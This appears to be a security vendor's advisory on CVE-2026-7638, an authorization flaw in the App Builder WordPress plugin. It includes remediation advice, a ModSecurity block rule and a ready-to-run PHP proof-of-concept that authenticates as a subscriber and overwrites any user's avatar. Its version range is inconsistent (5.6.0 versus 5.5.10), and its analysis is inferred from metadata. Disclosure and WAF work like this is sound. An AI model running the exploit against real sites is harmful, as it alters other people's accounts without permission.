Atomic Edge analysis of CVE-2026-7638 (metadata-based): This vulnerability involves an Insecure Direct Object Reference (IDOR) in the App Builder plugin for WordPress, affecting all versions up to and including 5.6.0. The issue allows an authenticated attacker with Subscriber-level access or higher to modify the profile avatar of any arbitrary user by supplying a target user_id parameter to the upload-avatar REST API endpoint. The CVSS score of 5.3 (Medium) reflects the low confidentiality impact but the unauthorized data modification capability.
Root Cause: The missing authorization validation in the upload_avatar() function permits an attacker to control the user_id parameter from the POST request body. The function updates user meta without checking whether the authenticated user owns the target account or has administrative privileges to modify other users’ profiles. This inference is based on the CWE-639 classification and the vulnerability description; no source code diff is available for confirmation.
Exploitation: An attacker can send a POST request to the WordPress REST API endpoint /wp-json/app-builder/v1/upload-avatar with a body containing user_id set to the numeric ID of any target user (e.g., an administrator). The request must include a file parameter for the new avatar and authentication credentials of a subscriber-level account. No CSRF or nonce validation is required due to the REST API’s handling of authentication. The plugin then updates the avatar metadata for the targeted user, effectively overwriting their profile picture.
Remediation: The plugin developers must add authorization checks inside the upload_avatar() function. For REST API endpoints, this involves verifying that the current user has the ‘edit_user’ capability or that the supplied user_id matches the current user’s ID (wp_get_current_user()->ID). Additionally, the function should validate the nonce and ensure that users cannot modify administrative accounts without appropriate permissions.
Impact: An authenticated attacker can forcibly change the avatar of any user on the WordPress site, including administrators. This can lead to brand defacement, social engineering attacks, or disruption of user trust. The alteration persists until the target user or another administrator manually reverts the avatar.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-7638 (metadata-based)
# Block IDOR attack via app-builder/v1/upload-avatar REST endpoint
SecRule REQUEST_URI "@beginsWith /wp-json/app-builder/v1/upload-avatar"
"id:20261994,phase:2,deny,status:403,msg:'CVE-2026-7638 attempt via App Builder upload-avatar endpoint',severity:'CRITICAL',tag:'CVE-2026-7638'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-7638 - App Builder <= 5.5.10 - Insecure Direct Object Reference to Authenticated (Subscriber+) Arbitrary User Avatar Modification via 'user_id' Parameter
// Configuration
$target_url = 'https://example.com'; // Change this to the target WordPress site URL
$username = 'attacker'; // WordPress user with Subscriber role or higher
$password = 'attacker_password';
$target_user_id = 1; // ID of the user whose avatar will be overwritten (e.g., admin = 1)
$avatar_file = '/path/to/new_avatar.jpg'; // Path to a local image file to use as the new avatar
// Step 1: Authenticate with the WordPress REST API
$login_url = $target_url . '/wp-json/jwt-auth/v1/token';
$login_data = array(
'username' => $username,
'password' => $password
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$login_response = curl_exec($ch);
curl_close($ch);
$login_data = json_decode($login_response, true);
if (!isset($login_data['token'])) {
die('Authentication failed. Check credentials or JWT plugin status.');
}
$token = $login_data['token'];
echo "[+] Authenticated successfully. Token: $tokenn";
// Step 2: Upload avatar to target user
$upload_url = $target_url . '/wp-json/app-builder/v1/upload-avatar';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $upload_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Authorization: Bearer ' . $token,
'Content-Type: multipart/form-data'
));
// Prepare the multipart body with user_id and file
$post_data = array(
'user_id' => (string)$target_user_id,
'file' => new CURLFile($avatar_file, 'image/jpeg', 'avatar.jpg')
);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] HTTP Response Code: $http_coden";
echo "[+] Response Body: $responsen";
if ($http_code === 200) {
echo "[+] Success! Avatar for user ID $target_user_id has been overwritten.n";
} else {
echo "[-] Exploit may have failed. Check response details.n";
}
?>
